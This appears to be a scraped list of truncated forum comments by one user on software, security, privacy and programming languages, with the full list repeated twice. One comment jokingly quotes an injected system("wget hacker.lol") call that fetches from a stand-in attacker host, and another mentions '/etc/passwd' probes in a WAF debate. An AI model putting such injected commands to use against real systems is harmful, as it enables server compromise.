I had no idea people could hack my forum by applying the system("wget hacker.lol") transformation to their profile image. Thanks for the find!
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That's how I do it. I don't see the draw for Windows as the main OS, especially with Windows 10+ being dumbed down beyond belief and having seconds of lag to do anything at all. Seems even from this thread that people…
It will be easier for you to run Tor Browser yourself. TB is made to act exactly the same on all platforms.
I tested in Tor Browser at standard security level and it's blank except the thumbnails on the left show fine, so just a minor glitch somewhere is breaking it. I presume it doesn't support TOC then, which is a shame. On…
Pretty good point. I just wonder if databases in generally can be perfectly reconstructed from a text dump. For instance, do the insertion orders change in any of the operations between dumping and importing?
What? If I construct my queries the right way (e.g., not concatenating strings together like it's the year 1990), then I never will want a WAF "helping" me by blocking my users because they have an apostrophe in their…
There's no "trade-off" here. Blocking IPs that send "1337 h4x0r buzzword /etc/passwd" in it is completely naive and obtrusive, which is the modus operandi of the CDN being discussed here. There are plenty of other ways…
What is your opinion about Addictive social media or porn? Sorry, had to.
Ah! But legal people think that all of the following are by and from and are the same person: - the domain - the owner of the website - the content displayed on the website
This is a good snapshot and piece of history of a mindsets freshly tuned into a new way of thinking. Thanks for this, this article was a relaxing break in these politically tense times.
How do I pretend to fit in here, what is the actual number one proof that some random websites are "causing serious harm" to children? I had to stop reading to stop my blood from boiling at the quote below, before…
Including this as a prime example, the overall trend seems to be that we're going back to the bad old days where a kid gets to code the entire security infrastructure because the CEO thinks he's smart and then the bugs…
This. It's just a website (where anyone can post, quite rare in these overpoliticalized days). > A Soyjak.Party users also shared a list of emails they claimed are associated with janitor and moderator accounts,…
This is in fact a com.on technique in the Linux kernel: https://en.wikipedia.org/wiki/Offsetof#Usage
Is it a theorem that languages named after trendy (such as spices) or shiny things die fast? Ruby, Crystal, Carbon, now Fennel.
Nice to see that they require minimal changes at the battery manufacturer. Too often people come up with good ideas like this without accounting for other factors in the supply chain.
90's crypto was interesting. They would just use naked RSA and block ciphers. Usually, the team would have one guy who was "smart about crypto" and he was just left to do his thing and after passing functional tests, it…
> but every JS setup these days contains a linter that yells at you for code like that. Yes, it can find some cases, but in general would require solving the halting problem.
Blocking a hacking attack is not even a thing, they just change IP address each time they learn a new fact about how your system works and progress smoothly without interruption until they exfiltrate your data. Same…
All these "advanced" technologies that change faster than I can turn my neck, to make a simple request that looks like it was one of the "certified" big 3 web browsers, which will ironically tax the server less than a…
F# is a very well-polished functional language. Think of it to Haskell as C# is to Java. No worries about space leaks or purely-academic syntax or monads (though you can get those if you need them). All with tight…
Okay, I can pass {x:int,y:int,z:int} to a function of type {x:int,y:int}, so what? Where is the argument for ditching nominal typing in the first place?
I had no idea people could hack my forum by applying the system("wget hacker.lol") transformation to their profile image. Thanks for the find!
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That's how I do it. I don't see the draw for Windows as the main OS, especially with Windows 10+ being dumbed down beyond belief and having seconds of lag to do anything at all. Seems even from this thread that people…
It will be easier for you to run Tor Browser yourself. TB is made to act exactly the same on all platforms.
I tested in Tor Browser at standard security level and it's blank except the thumbnails on the left show fine, so just a minor glitch somewhere is breaking it. I presume it doesn't support TOC then, which is a shame. On…
Pretty good point. I just wonder if databases in generally can be perfectly reconstructed from a text dump. For instance, do the insertion orders change in any of the operations between dumping and importing?
What? If I construct my queries the right way (e.g., not concatenating strings together like it's the year 1990), then I never will want a WAF "helping" me by blocking my users because they have an apostrophe in their…
There's no "trade-off" here. Blocking IPs that send "1337 h4x0r buzzword /etc/passwd" in it is completely naive and obtrusive, which is the modus operandi of the CDN being discussed here. There are plenty of other ways…
What is your opinion about Addictive social media or porn? Sorry, had to.
Ah! But legal people think that all of the following are by and from and are the same person: - the domain - the owner of the website - the content displayed on the website
This is a good snapshot and piece of history of a mindsets freshly tuned into a new way of thinking. Thanks for this, this article was a relaxing break in these politically tense times.
How do I pretend to fit in here, what is the actual number one proof that some random websites are "causing serious harm" to children? I had to stop reading to stop my blood from boiling at the quote below, before…
Including this as a prime example, the overall trend seems to be that we're going back to the bad old days where a kid gets to code the entire security infrastructure because the CEO thinks he's smart and then the bugs…
This. It's just a website (where anyone can post, quite rare in these overpoliticalized days). > A Soyjak.Party users also shared a list of emails they claimed are associated with janitor and moderator accounts,…
This is in fact a com.on technique in the Linux kernel: https://en.wikipedia.org/wiki/Offsetof#Usage
Is it a theorem that languages named after trendy (such as spices) or shiny things die fast? Ruby, Crystal, Carbon, now Fennel.
Nice to see that they require minimal changes at the battery manufacturer. Too often people come up with good ideas like this without accounting for other factors in the supply chain.
90's crypto was interesting. They would just use naked RSA and block ciphers. Usually, the team would have one guy who was "smart about crypto" and he was just left to do his thing and after passing functional tests, it…
> but every JS setup these days contains a linter that yells at you for code like that. Yes, it can find some cases, but in general would require solving the halting problem.
Blocking a hacking attack is not even a thing, they just change IP address each time they learn a new fact about how your system works and progress smoothly without interruption until they exfiltrate your data. Same…
All these "advanced" technologies that change faster than I can turn my neck, to make a simple request that looks like it was one of the "certified" big 3 web browsers, which will ironically tax the server less than a…
F# is a very well-polished functional language. Think of it to Haskell as C# is to Java. No worries about space leaks or purely-academic syntax or monads (though you can get those if you need them). All with tight…
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Okay, I can pass {x:int,y:int,z:int} to a function of type {x:int,y:int}, so what? Where is the argument for ditching nominal typing in the first place?
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